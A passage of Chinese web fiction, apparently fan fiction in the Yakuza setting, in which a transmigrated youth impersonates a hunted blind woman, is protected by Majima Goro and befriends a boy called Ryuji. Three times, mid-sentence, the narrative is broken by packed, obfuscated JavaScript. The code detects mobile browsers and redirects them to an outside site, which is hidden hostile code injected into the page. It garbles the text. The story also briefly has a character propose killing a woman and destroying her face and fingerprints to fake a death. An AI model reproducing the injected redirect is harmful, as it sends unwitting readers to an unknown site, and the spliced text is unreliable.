“既然身体难过得快要裂开了,那就要赶快治疗不是么,客人前后言行如此不一致,真是奇怪,还是说,你其实不是客人而是小偷?”清原夏野闻言表情更冷。 真岛头疼欲裂:“我真不是…” “那就请让我为您按摩。”他说“请”这个词时丝毫没有半分客气的意思,真岛吾朗胡乱答应了一声,想着被按几下也不会怎么样,认命地躺到了按摩床上。 不出五分钟,他叫得嗓子都哑了。 “客人可真不受力,你叫那么大声,街上的人都要听到了。”清原轻声说,声音中带着些微的喘息,令人耳热。 “是你太用力了,”真岛抬起独眼瞥他,嗓音沙哑,背上的般若纹身被清原夏野暴力蹂躏后更加艳丽:“哪有这样给人按摩的,你是故意报复我的吧,小姐,我哪里惹到你了?” 系统为清原夏野捏了一把汗:「宿主,你可别真把他给惹火了,待会儿近江联盟的人来了,你还需要他救呢。」 12. 第 12 章 “客人您的筋脉没有疏通,所以才会痛,等揉开了就好了。”清原夏野说着,用力在真岛背上又捏了一把,惹得对方发出一声闷哼:“再说,我刚才进来的时候你明明在,却一直不出声把我吓了一跳,你说,我该不该生气?” 真岛从善如流:“没错,你气的对。” 李文海躲在床下暗暗焦灼,屋里的独眼青年一看就来者不善,但清原一直没给他打暗号,他也不知道什么时候应该出来帮忙。 外间响起急促且杂乱的脚步声,李文海绷紧了浑身肌肉,做好随时跃入屋内的准备,真岛也从按摩床上跳了起来,把带来的肋差抓在手里,警惕地盯着门口,清原夏野心中暗想终于来了,但仍满脸无措地站在真岛身后。 五名极道打扮的男子涌进这个狭小的按摩间,为首之人环视四周,目光落在真岛身后,开口道:“打扰了,你就是牧村实小姐对吧,跟我们走一趟吧。” 真岛难以置信地朝身后看去,佐川司一直告诉他「牧村实」是个作恶多端的男人,和眼前纤细的少女根本搭不上边。再看少女虽然低着头身体颤抖,但也没有否认,他的心脏又往下沉了沉。 李文海心道不好,他迅速起身绕到正门,装作一副若无其事的模样走进去:“我就是牧村实,你们找我有什么事?” 领头的极道发出一阵爆笑:“李文海,你在鬼扯什么啊,兴许至今你都是这样蒙骗过关的,但这套对我们来说不管用啦,你要是真识相的话就乖乖把这位牧村实小姐交出来吧。” 李文海冷下脸,这几个人显然是掌握了情报才来,怕是不好对付。他狐疑地扫过真岛:“你和这几个人是一伙的?” “不,我还以为他们是你的人。”真岛紧锁眉头。 现在还有什么不清楚的,这个壮汉店长的名字是李文海,而自己身后这名少女的名字才叫牧村实,有那么一瞬,他怀疑现在的情形是这女孩自导自演,但对方没有理由把自己也置于险境。 “行吧,看来你是不会轻易交出牧村实小姐了,我们也只有动手抢人了。”领头的男人阴险地笑着,他的手下收到了他的指令,冲上前来和李文海、真岛二人缠斗在一起。 真岛吾朗咬了咬牙,也摆出了打斗的姿势,不管怎样先得保护这女孩不被对面的几人带走,至于牧村实的真实身份,可以等其他事情解决完再说。抱着这样的觉悟,他挥出的每一拳都格外凶狠,引得李文海在打斗的间隙诧异地多看他一眼。 看着手下接连倒下,领头的人简直怒不可遏,李文海一个前极道就够难对付了,这个独眼年轻人也比他想象中更要难缠,他从口袋里掏出手枪。 还没等他拉下保险,一直没有动作的清原夏野朝他扑过来,他抓起一旁针灸用的长针,狠狠戳进领头之人的手掌,趁着对方蜷缩在地上惨叫跌跌撞撞地冲了出去。 事出突然,谁都没想到这个盲女会突然暴起,连真岛和李文海都被吓了一跳,真岛的反应更快些,在领头的男人支起身前,他上去补了一拳直接把那人打昏。 “我们分头找,一定要在这伙人之前找到小实,”李文海抓住他的手臂,话语急促又紧迫:“小实单纯柔弱,一点自保能力也没有,落到他们手里就糟糕了。” 真岛眉头一抽,一肚子的话简直不知从何处吐槽。 让他一个杀手帮忙找人,也不怕他找到之后直接把牧村实给杀了。 再说到单纯柔弱,他看到少女撞过去那一下似乎是把领头之人的枪顺走了,这要叫没有自保能力的话,恐怕刚才那几个极道都要哭了。 但他还是答应了下来,只要自己先找到这姑娘,杀还是不杀还不是顺自己的意。 真岛大步跑到街上,他穿过来往的人流,眼光四处寻觅那抹橙色的身影。 找到了! 橙色的少女在墙角蜷缩成一团,像是等着他来捡。 真岛一步步慢慢走近,见她没有反应,犹豫一下,在她面前蹲下来:“是我,刚才在店里按摩的客人。” 少女手肘破皮流血,眼角犹有泪痕,身上灰扑扑地,不知道摔了几跤。 真岛斟酌着语言开口:“刚才的那伙人是来追杀你的,具体情况我一会再解释,他们随时可能找到这里,先跟我离开这个地方吧。” 少女轻轻点了点头,真岛把她从地上搀起来,拉着她朝巷口走去。 清原夏野实在是难以习惯失明的感觉,刚刚跑过来一路摔了好几跤,几乎是连滚带爬地藏到了巷子里,现在真岛比那些极道中人先找到他,意味着今晚的计划完成了大半,他紧绷的一颗心也放了下来。 他并不觉得故意示弱、依赖主角有损男子汉的面子,打架不是他的长项,专业的事情还是要交给专业的人来办,利用他人的能力也算是实力的一种。 没走出几步,真岛突兀停下脚步:“他们的人追过来了。” 清原夏野听话噤声,街上三五个极道打扮的混混晃悠着经过,边走边打量着路边的行人,真岛做出环抱着清原夏野的动作,用后背挡住了他们的视线,街灯在水泥路面上画下二人交叠的影子。 真岛用余光警惕地注意着混混们的动向,待那几人的身影消失在道路那头,他又拉起清原的手臂,二人又钻进人流中向前跑。时有迎面围堵的追兵,都被真岛抄起棒球棍轻易干翻。 “要下楼梯了。”拐过两个路口,真岛又停了下来。 清原看不见他说的楼梯,有些犯怵,真岛清楚的看到了他脸上微妙的畏惧神色,一把将他打横抱起来,清原一怔,也顺从地抱住真岛的颈子。 真岛三步作两步冲下楼梯,正要把怀中人放下时,清原额前的碎发被微风掀开,露出额角的创口贴。 真岛眼光定在清原夏野的额头上,只是随处可见的创口贴,却被他看出几分熟悉来,他动了动嘴唇,似是不经意地问道:“妳是受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472647|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤了吗?头上为什么要贴创口贴?” “是我不小心撞伤了,店长给我贴上的,怎么了吗?” “呃,只是一问,”真岛无视心中那怪异的感觉,放下清原夏野,继续拉着他向前走:“接下来闯过这里,应该就可以甩开他们了。” 这条道路的尽头已有四个男人,都是真岛在按摩店里看到的熟面孔,领头的流氓右手被绷带厚厚地缠了起来,眼露凶光看着真岛背后的清原夏野。 “真会找麻烦啊,老兄,快把这女人给我交出来吧。” 真岛没有理会,回头对清原夏野说:“妳待在我后面。”,他自己手持棒球棍向前方那几个流氓走去。 看他完全没有交人的意思,为首的流氓一声怒喝,带着三个小弟拥上来围攻真岛,真岛面对这群杂鱼丝毫不怵,不到两分钟,那四人全都躺倒在地。 真岛粗重地呼吸着,拎起为首流氓的领子:“你们是哪边的人?为什么要找那个女的?” “你连这种事都不知道,就在护着那个女的吗?” “你说什么?” “你根本就不懂,不懂那个女人有多少价值,你这个蠢蛋,不知道…自己一脚已经踩进什么地方去了…”领头的流氓说完这句话,就昏倒在一旁不省人事了。 “可恶!”真岛一把将他甩开,折返回来拉上清原夏野继续狂奔,他边跑边留意有没有人跟踪,好在没有发现可疑的迹象,左拐右拐后两人最终跑进了一个隐蔽的巷子深处。 “这里应该安全了。”真岛松开清原夏野的手腕。无从发泄的郁气在身体里四处乱窜,他径自走到墙角点上烟咬住。 佐川司告知他「杀掉牧村实」是他重返东城会的投名状,他经过调查得知「牧村实」是「畅快馆」的店长,所以今晚来此想要下手。 不成想他的计划被突然出现的那伙人打乱,真岛不知道他们是来自东城会还是近江联合,唯一能够确认的是那些人不会就此罢休。 他垂头打量着「牧村实」,眼神中闪烁着冷静的光芒。 现在已经甩开那些抢人的流氓,带着这女人逃到这里来了,如果现在杀掉这女人,拿她的尸体去交差的话,一定可以重新回到东城会吧。 真岛摸出肋差缓缓朝他走近,清原夏野跑累了,正背对着真岛跪坐在地上,肩膀一颤一颤,他看不到真岛的危险举动,系统为他捏了把汗。 “客人先生?” 清原听到脚步声转过头,真岛这才看清他满脸是泪,身体像是触电般的一震。 晶莹的泪水不断从那双美丽却没有任何光彩的眼眸里涌出来,清原夏野像是要借着「牧村实」这个暂时顶替的新身份,把连日来心中积压的所有苦闷、恐惧、压抑全都哭出来似的。 试探的目光缓缓滑过清原夏野的脸庞,真岛叹出一口气,把肋差重新塞回西装口袋里,抬手摸了摸他的的头发:“别哭了,已经安全了。” 13.第 13 章 翌日下午,真岛和男装打扮的清原夏野走在苍天堀的大街上。 “昨天给你贴的创口贴呢?”真岛突兀地问。 清原夏野抬手摸了摸额头上的伤处:“啊,昨晚在店里化妆的时候取下去了,后来没有再流血,也就没再贴。” 这当然是谎话。 昨夜逃亡的时候真岛问了关于创口贴的事情,虽然是随处可以买到的东西,清原夏野还是担心真岛再看到那个创口贴会把自己和「牧村实」联系到一起,为了避免引起对方的怀疑,他换衣服的时候把创口贴也摘下来丢掉了,谨慎点总不会有坏处。 真岛昨夜一夜未眠,他的眼下黑眼圈更深了。 他问了GRAND的领班,昨天晚上清原夏野确实在店里工作直到凌晨三点多,中途没有离开过,中午他到家的时候,清原夏野还在榻榻米上沉沉睡着。 “清原,你家里有姐姐或者妹妹吗?” “当然没有。”清原夏野作疑惑状:“干嘛突然这么问。” “没事,只是随口一问。”真岛咳了两声,心虚地别过头,像是背着家猫在外面养了其他猫的饲主。 今天清晨,真岛从对家「奥德赛」的经理那暂借了他们不用的仓库,把救下来的女人安置在那里,在那之后,他找到了李文海店长,从他口中得知了「牧村实」的遭遇——两年前「牧村实」孤身一人来到大阪,被手臂上有着蝙蝠纹身的男人诱骗、被贱卖给韩国的组织、被日夜囚禁虐待,直到半年前才被李文海救出并收留。 之后,李文海告诉真岛吾朗自己有件必须快点去做的事情,把「牧村实」暂时托付给他照顾。 他返回仓库的时候,清原夏野刚来得及到东京办了点事,系统帮他盯着真岛的动向,检测到真岛即将接近仓库,就把清原夏野紧急传送了回来。 真岛看他缩在沙发里,满脸愁容,以为他是在担心店长的安危,安慰道:“李文海店长没受伤,他说有事要去办,等他回来你就能见到他了。” “那就好。”清原夏野露出一个凄然的笑容:“那么,“那件事”你也听说了吗?” “是啊,你经历了满长一段时间的凄惨遭遇啊。” 清原夏野深深低下头。 “让你想起了过去的悲惨遭遇了吗?”沙发另一头往下一沉,真岛沉稳的声音在他耳边响起:“虽然只有一点点,但我跟你算是有点像呢。” “我…有一边的眼睛也看不到,还不只是这样,我也是长时间被囚禁在随时可能死掉的地方…” 属于「牧村实」本人的悲惨遭遇、真岛真情吐露的悲情过往,都不是没有经历过这些的清原夏野能够共情的,然而越是没有办法共情,越是沉甸甸地压在他心头。 他自以为是地斩断了真岛吾朗和真正的「牧村实」之间的缘分,沾沾自喜自己找到了最优解——牧村实安全地回到她的哥哥身边、立华铁不仅不会死,还会感激信任帮忙找回妹妹的清原夏野、清原夏野自己假扮「牧村实」跟在真岛身边,方便了他赚取虐心值。 充当「神」的角色、强行干涉他人的命运,这样做真的是正确的吗? “喂!清原。” 清原猛地抬起头。 昏暗的仓库从他眼里褪去,头顶的太阳格外明亮,眼前是苍天堀白日的街景,他现在不需要扮演「牧村实」,只需要扮演好他自己。 “喂,怎么了清原,露出这样伤春悲秋的表情?”真岛伸手在他眼前晃了晃, 好笑地问道。 “只是没睡好而已。”清原夏野装模作样地打了个哈欠,挤出点生理泪水来。 “我想着等忙完手头的事情换个大点的房子,到时候你…”要不要和我一起住? ——如果我到时候还有命回来的话。 未出口的话被陌生男人的呼唤声打断:“喂喂,那边的老兄!可以…可以过来一下吗?” 那人鬼鬼祟祟地躲进立柱的阴影里,露出一个脑袋朝他们热切的张望。 清原夏野想着该不会是误打误撞触发了什么支线剧情,他和真岛对视一眼,二人一前一后,警惕地朝着男人的方向靠近。 柱子后的男人逐渐现出身形,他上身是高校生的制服,下身则只穿着内裤,露出两条毛茸茸的光腿来,看得真岛和清原嘴角抽搐。 “太好了得救了!”他激动地搓了搓手指:“这位老兄,有件事想拜托,你的裤子可不可以借我?” “哈?” “就是你穿的那条裤子啦,你看也知道,我的文旦裤被抢走了,正在伤脑筋呢!” 真岛皱眉怒斥:“说什么蠢话,要是借给你裤子,不是我要露内裤了吗!” “你就把你的裤子借他好了,就算你光着屁股走回去我也不会笑你的。”清原在他身后窃笑。 “别捣乱。”真岛轻轻拍了清原夏野后脑勺一下:“你怎么不把裤子借他?” “我拒绝。”清原夏野立刻说。 男高校生满脸抓狂:“不管你们谁都好,把裤子借我啦!你们怎么可以让国家未来的主人翁光着下半身只穿一条内裤去逛大街啊!” “真是的,我们和这个怪人浪费什么时间啊,明明是想要到公关俱乐部考察的。”真岛懒得和他多废话,拉上清原夏野就要离开。 半裸男急切地从柱子后面跳出来:“喂,等等啊,走的话也得先把裤子给我留下!” 真岛把清原夏野推到一旁,自己冷冷地看向男子:“真那么想要的话就自己来抢吧。” 半分钟后,男子沮丧地蹲在墙角,他被真岛好好修理了一顿也明白自己不可能从这个男人那里抢得来裤子。 男子自称是名字叫透的苍天北高学生,在遇到他们之前,他遇上了“文旦裤猎人”,被对方打了一顿,身上穿的文旦裤被当作战利品抢走了。 “「文旦裤猎人」?那是什么?” “呃,简单说就是,文旦裤是我们这些不良少年穿的学生裤,所谓「文旦裤猎人」, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484111|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是去打那些穿这条裤子的嚣张家伙,再脱下裤子当作战利品的人。” “这么说,你的裤子是被「文旦裤猎人」给抢走了?” “嗯,可是我也没有办法,那家伙是个神经病一样奇怪的男人、长得特别强壮,突然就从背后偷袭我。然后,背后还…” “背后还有一个很大的纹身图案?”真岛疑惑,那不就是道上的家伙吗? “不是啦,他背着一个小学生背的那种小书包,”半裸男惊魂未定地摇着头:“所以我说他脑子有病啦,被这种人从身后突然攻击,不管谁都会觉得自己死定了吧!而且,那家伙最近都在这边嚣张地走动,搞不好的话还会有人被抢的。” 真岛叹了口气:“原来如此,果然是浪费时间,大概只是那个「文旦裤猎人」和你们不良少年间的恩怨,跟我完全没关系吧。” “诶?老、老兄,你就把我这样丢着不管吗?据说那个人会在鲔章鱼的附近出现,老兄你这么强,一定可以拿回我的裤子的,拜托你了!”半裸男双手合十恳求道。 “我凭什么非帮你不可啊,这可不行,我不干。”真岛利落地拒绝,拉上清原夏野转身离去,留下半裸男在原地一脸沮丧。 “专门狩猎不良少年的「文旦裤猎人」,听上去好有意思。”清原夏野边走边喃喃自语。 “等办完正事再陪你去看热闹。”真岛说。 “这件文旦裤真不错耶。”身后传来略微沙哑的男声。 真岛和清原闻声回头,只见一个头发和眉毛都是金色的男人站在那里,他个子很高,站在一米八六的真岛面前不逞多让,宽松型号的外套被他宽阔的骨架和贲张的肌肉撑的满满当当,他身上的衣服都是不便宜的牌子,背上却背着一个小学生才会背的黑色书包,边边角角被磨的发白。 他锐利的眼光紧紧盯着真岛吾朗的西装裤。 “你这件文旦裤也不错,我要了。” 想必这就是那个半裸男口中的「文旦裤猎人」了,清原暗想,被这种怪物盯上,难怪那些不良少年会吃瘪。 “是跟我说话?你给我看仔细,这可不是文旦裤,看,这是晚礼服。”真岛用冷静的语调说。 金发男人不为所动:“少说些我听不懂的话,快给我脱下来。” 真岛就静静地打量着他,没有动作。 “不想脱,我就帮你脱咯,看我爽快地脱下你的裤子!”「文旦裤猎人」勾起嘴角,说着摆好打架的架势朝真岛走过来。 清原夏野已经习惯和真岛出门时遇到这种事了,不用真岛多说,他自己走到一边找了个好位置观战。 这个「文旦裤猎人」很强,比昨天晚上来抓牧村实的那些道上喽啰加起来都强,出拳的力道可谓惊人。但不巧他的对手是真岛,真岛打架经验丰富,格斗技巧无比娴熟,几乎是压着对面打。 清原夏野看得入神,心下隐隐羡慕,自从他来到这个世界,还没见过比真岛更会打架的人,真是天生的极道。 14.第 14 章 被称为「文旦裤猎人」的金发男子被打到半跪在地上,真岛收拳后退一步,整了整西装,又恢复了平日优雅的模样。 很少有人能在他手下撑这么长时间,这场临时起兴的打斗出乎他意料的酣畅,他对眼前的男人多了些探究的兴趣。 “你居然还挺行的嘛。”他笑着说,金发男也不说话,撑着身体慢慢地从地上爬起来。 “啊!是龙司耶,被打了。”从对面的街上跑过来两个小学生,看清金发男狼狈的模样后,他们朝着真岛双手合十做求饶状。 “拜托!请你原谅他!龙司是为了我们才这么做的。” 真岛和清原对视了一眼,从彼此的眼睛里看到了茫然。 两个小学生自称是这个名叫龙司的黄毛男的同班同学,苍天北高的不良少年总是勒索他们这些小孩的零用钱,还威胁他们不准和父母说,所以这个龙司才挺身而出为他们报仇。 清原从口袋里掏出巧克力棒,塞给真岛一支,自己叼了一支,剩下的给两个小孩分了。 “你们说他是你们的同班同学?也太不像了,不过他这个年纪就这样有担当,真不错。”清原说着看了看身后长椅上呼呼大睡的龙司,他刚才和真岛打完架倒头就睡,任谁看了都得说一句年轻人睡眠真好。 “是的,可是我们根本没资格要龙司帮我们报仇。”其中一个小孩低下头:“我们一直都不搭理龙司,但没想到他居然为我们这么做…” “为什么不理他呢,他长得虽然吓人了些,但人还是很好的吧。” “我们小时候都很要好,但知道龙司的爸爸是道上的人之后,爸爸妈妈就告诉我们不可以再接近他,龙司现在在学校里都是一个人,连老师都有些害怕他。” 真岛在一边插话:“极道的小孩这一带也不只他一个吧,有什么好稀奇的。” “龙司的爸爸是什么近江联盟里的大佬,所以大家都很害怕…”小学生苦恼地踢着脚下的石子:“我们平时都躲着龙司,他还帮我们报仇,我们真的好没用啊。” 他又说了些什么,但真岛已经听不见了,他死死地盯着街对面寿喜烧店旁边的小巷子,原本闲适的坐姿刹那间绷紧如将要出鞘的利刃。 刚刚他看到李文海的身影走进巷子里,虽然只是一晃而过,但他敢说自己绝对没有认错。 李文海为什么会出现在这里?是跟踪自己,还是去做那件「需要快点去做的事」? “我看到了一个认识的人,得去打声招呼才行,你先在这里等着我。” 真岛抛下这句话,迅速地追了过去。 清原夏野目送他的身影消失,把揉成一团的巧克力包装纸抛进垃圾箱。 “啊,好饿。”他说着,不由分说地带着两个小学生朝章鱼烧小店的方向走:“你们想吃什么口味的?我请客。” 名叫「龙司」的男孩是被食物的香气唤醒的,他坐起身,清原夏野听到动静捧着纸盒侧脸看过来。 “你醒啦,来吃点东西吧。” “我不要。”男孩生硬地拒绝,他抬起头,那两个同学还没有离开,嘴角带着食物碎屑,忐忑地看着他。 “我特意买的豪华加量版章鱼烧,真的不吃吗?”清原夏野歪着头看他,把温热的纸盒往他的手边又推了推。 诱人的香气更近了,男孩沉默地拿过装章鱼烧的纸盒,两个小学生也大着胆子走到了他面前。 “对不起龙司!我们再也不会不理你了。还有,谢谢你给我们报仇!” “我只是看苍天北高那群嚣张家伙不顺眼而已,才不是给你们报仇。”名叫龙司的男孩一边嘟囔,一边大口地把食物塞进嘴里。 真是别扭的小鬼,清原夏野被逗笑了,他揉了揉自己的膝盖从长椅上站起来打算先离开,他有自己的事要去做,不准备在这等真岛回来。 “给我你的比比扣。” “诶?你在叫我吗?”清原夏野惊讶回头。 龙司嘴唇紧抿成一条线,点了点头。 “我真的没有bb机。”清原夏野挥了挥手:“你要是想找我的话,就去苍天堀一家叫GRAND的夜总会,和那里的人说找「小夏」就可以了。” 他看似说得认真,其实压根就没期望这小孩会去夜总会那种地方找自己,不过是萍水相逢的路人而已,想必不会再见到了吧。 * 清原夏野在惠比寿屋前下了车,右转进了名牌店Le marche,他假装对店里的商品感兴趣,目光不时透过店里的镜子观察身后有没有人跟踪。 确定既没有尾随之人、也没有可疑人员后,他买了点东西拎着走出去,拐进了左边的巷子里。 情人旅馆“乐未央”的门口停着他刚刚搭乘的那辆出租车,随着清原走近,驾驶座的车窗慢慢降下来,司机探出头。 他年纪在四十岁上下,个子中等,身材瘦削,开口是略带日本口音的粤语:“佢喺间房度,你哋几时去东京?” “佢自己去东京呀,我唔一齐去,我入去同佢讲几句说话。” 一个中年女人在旅馆门口现身,她朝清原夏野点点头,侧身让他进去。 “一会有个中国男人过来,到时候直接把他带到地下室找我。”清原夏野走到向下的楼梯口,转过身和女人交代道,女人答应了一声,默默走回到了柜台后面。 这对不引人注目的男女是清原夏野找来的职业保镖,负责一路护送牧村实到东京。他要求男人假扮成出租车司机,女人则必须24小时贴身陪伴牧村实,哪怕是去洗手间也要跟着一起进隔间,绝不能把人弄丢。 清原夏野从口袋里拿出钥匙开锁,迅速进屋关门,把走廊昏暗的灯光、潮湿的气味隔绝在这间温暖的房间外。 “是…清原先生吗?”略带胆怯的女声从房间里传来。 “是我。” 牧村实已经穿好了清原给她准备的连衣裙和大衣,有些拘谨地坐在床上,无神的双眼朝着他的方向看过来,双手在空气中摸索。清原夏野走到她面前,半蹲下来,回握住她冰凉的手指。 “我已经安排好了人送你回东京,放心吧,你很快就能见到你哥哥了。” 牧村实的伪装还需要再做一些完善,清原夏野给她涂上艳丽的眼影和口红,再戴上黑色长假发和墨镜,一番下功夫后,牧村实原本怯懦温和的气质增添了不少凌厉的冷艳感, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508803|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就跟换了个人似的。 “如果有人问你叫什么名字,去东京做什么——” “就告诉他我叫清原夏子,要去东京的表哥家里。” “很好。”清原夏野满意地点了点头,这时,楼上的女人敲门,她后面跟着李文海。 “路上有人跟踪你吗?”清原夏野问。 “那个名叫真岛的独眼男人跟着我,好在「畅快馆」里有一条密道,我从密道过来,总算是把他甩开了。”李文海环顾房间:“小实呢,你已经把她送走了吗?” 坐在床上的牧村实低低的唤了一声:“店长,我在这里。” 清原夏野哧地笑了出来,李文海细细打量牧村实,尴尬地抓了抓自己的脸:“唉,这变化也太大了,连我都没认出来。” 这一乌龙冲散了些许别离的伤感。时间紧迫,李文海匆匆和牧村实道了别,答应牧村实等这边的事情解决完会去东京看她。 “东京的大医院可以治好她的眼睛,”和李文海一起目送牧村实坐车离去,清原夏野突然轻声说:“等下次再见面的时候,她应该能看到你的样子了吧。” “是啊,真是谢了,清原小哥。” 李文海曾经也有一个亲生女儿,和牧村实年纪相仿,从小体弱多病,因为药物的副作用,死前几乎双眼都看不见了。他看到小实,就像看到自己的女儿一样,无论如何,这次他都不会让自己的「女儿」走在自己前面。 “你要是真心谢我的话…不妨说一说你今天背着我去调查什么了?要不把你手里那个牛皮纸袋给我看看?” 清原夏野用玩笑的语气说着不容置疑的话,李文海犹豫半晌,还是把手里的纸袋递了过来,里面是一叠照片和一件按摩馆的工作服。 清原快速看过这些照片,全都是偷拍的视角,照片中的女人无论是背影和身材都和牧村实近似,他边看边皱起眉。 “你要杀掉这女人充当牧村小姐,好让那些杀手放松警惕?他们已经把注意力放在我身上了,你不必再多此一举。” “不是为了小实,是为了你。”李文海沉声道:“现在你已经成了那些人的目标,只要你还在大阪一天,就有被他们找到杀掉的风险,这个女人是个结婚诈欺的惯犯,似乎还谋杀了几个人,是一个理想的下手对象,她模样虽然和你长得不像,但只要我杀了她之后,把她的脸弄得连她爹妈都不认识就可以了,指纹也可以用药物毁掉…” “就算她是杀人犯,也轮不到我们对她动用私刑。”清原夏野强硬地打断了他的话:“不用麻烦了,店长先生,你无须再给我找一个替死鬼,我本人不正是牧村小姐的替死鬼吗?” 李文海哑口无言。 如果要在小实和清原夏野之间选一个活下来,他不需考虑就会选前者,但经过这几天的接触,他看到这个少年是个很不错的人,不希望他被连累死掉。 “那你呢?” “我的命我自己自然会想办法。你需要做的是暗中保护牧村小姐,直到她顺利离开大阪。”清原夏野说着,从手提包里拿出立华铁交给他的那把“大黑星”递给李文海:“这把枪是牧村小姐的哥哥给我的,请你务必要好好保护她。” 15.第 15 章 “抱歉,我还是不能把它给你。” 沙发上,扮作牧村实模样的清原夏野捂住口袋,挤出可怜兮兮的表情。 他把立华铁给的“大黑星”借给了李文海,只留下了从混混手里抢来的这一把,相比别人给的,他更信任自己亲手抢来的这把枪。 “既然这东西能让你安心,你就自己留着吧。”还是真岛先认输,他放心不下地低声叮嘱:“你不要乱开枪,当心伤到自己。” 真岛走出仓库,确认周围没有人监视后,他绕着路往GRAND走去,融入欢乐街之上夜游的人流。 街道上满是炫目的灯光,真岛深吸了一口烟,烟头的一星红光倒映在他漆黑的瞳孔里,像是有火焰在燃烧。 距离佐川司给他下达杀人的任务已经过去了三天,佐川司那边还没有任何动静,对方随时可能会打电话过来,到那个时候,那把悬在头顶的刀肯定会落下来吧。 还会有明天吗?他不知道。 真岛站在二楼,看着女装打扮的清原夏野娴熟地应付客人,以纤细的身躯跻身于魅惑的成人世界。 他得让清原尽快离开大阪,不让他被牵连,但要是因此让佐川司那只老狐狸起疑,不管是他自己还是被藏在仓库里的「牧村实」,都是死路一条。 清原夏野刚送走一位指名他的客人,店里的侍应生匆匆走向他:“小夏,外面有人找你。” “知道了。” 门口站着白天时见过的龙司,在看清他的模样后瞳孔巨震:“你你你怎么穿着女人的衣服…” 清原怕他声音太大导致露馅,忙捂住他的嘴,拉着他来到僻静处,龙司像是被吓傻了似的盯着他的脸看,乖乖地任他牵着走。 “当然是为了赚钱,”清原简单解释了一句,又问:“你大晚上不睡觉跑到这里来,明天不准备上学了?你老爸知道了肯定气个半死。” “我老爹才不会管我。”龙司低声嘟囔,他从外套口袋里掏出一个小盒子塞到清原怀里。 “你不是说没有bb机吗,随便给你弄了一个。” 清原夏野低头看着手中最新款的bb机,陷入了深深的自我怀疑中,现在连一个小学生都这么有钱吗? 龙司一直用余光看他,见他面露犹豫之色,冷哼了一声:“不想要就直接丢掉好了。” “才不要丢掉呢,我正愁着没有bb机用,谢谢你,龙司弟弟。”清原夏野嘴角上扬,露出一个无比灿烂的笑容:“下次你再给我发消息我肯定及时回电话。” “少花言巧语了。”龙司别开脸,耳根莫名有些烫。 这男人平时压根就用不上花钱,他长得就是一副随便让男人女人心甘情愿给他花钱的样子。 他在夜总会门口等清原夏野时,看到几个西装男绕在对方身边献媚,他们送上的礼物中有几件他在老爸的女人那里看到过,都是一流的奢侈品牌。还说什么犯愁没有bb机用,只要他愿意说一句话,这东西怕是会在他脚下堆成山吧。 明明那些男人送了更贵的东西,却对自己露出这样…的笑容。 “龙司。” “干嘛?” “你生日是什么时候?” “十一月份。” “啊?那不是已经过完了嘛,明年十一月我还在不在这里都不好说,”清原夏野笑了笑:“你稍微等我一下。” 他绕到GRAND后门进去,两分钟后抱着一个黑色的新双肩包,蹬蹬跑出来。 “白天的时候注意到你的书包边角磨破了,路过百货大楼的时候看到这个就买了下来,想着最近要是能在街上再碰到就把它给你,正巧你过来找我了。” 龙司掀了掀嘴角,但没笑出来:“我老爸要是有你一半关心我就好了。” 清原想了想,诚恳地问:“要不我来当你老爸?” “想都别想。”龙司脸上浮现出别扭又恼怒的神色:“再说你也没比我大几岁吧。” 清原啧了一声,他丝毫不在意昂贵的裙子,大大剌剌地坐在台阶上,反正没有人会来这里,他随手把假发也扯掉了,仰着头任凭冷风把柔软的发丝吹乱,把身上的脂粉香气和酒气带走。 龙司坐到他对面,沉默了一会,开口问道:“你刚才说明年不在这里了,你要去哪里?” “没想好,大概会去东京上大学?”虐心值没那么好刷,清原夏野已经做好了在这个世界待上几年的打算:“龙司弟弟以后要去找我玩啊。” 龙司深深地注视着他的脸,声音坚定地像是对他发誓,也像是对自己发誓: “一定会的。” 清原夏野带着一身冷气回到GRAND的时候,今晚的狂欢已经临近尾声,他上楼去找真岛,被店长告知真岛先离开了。 他用休息室的电话给真岛拨过去。 “你干嘛不等我一起走?”习惯性地用了撒娇耍赖的语气,他自己都没意识到。 “抱歉啦,因为有重要的事要做就先回家了,我已经和店长说好了,让他开车把你送回来。” 清原夏野从口袋里翻出钥匙,打开公寓的房门。 “我回来了。”他一边说着,一边踢掉脚上的细高跟鞋。 室内没有开灯,百叶窗帘也是紧紧闭着,连一丝光线也无,他借着走廊上的灯看到一个人背对着他坐在桌前,看身形轮廓是真岛无疑。 “怎么不开灯?停电了吗?”清原问,伸手摸索墙上的开关。 按下打火机的咔哒声——温暖的烛光点亮了小小的房间。 “生日快乐,小夏。” 真岛微笑着侧过身,露出桌面上四人份的蛋糕。 清原夏野恍然想起他在给GRAND的入职申请表上随便填了一个生日,好像就是今天。 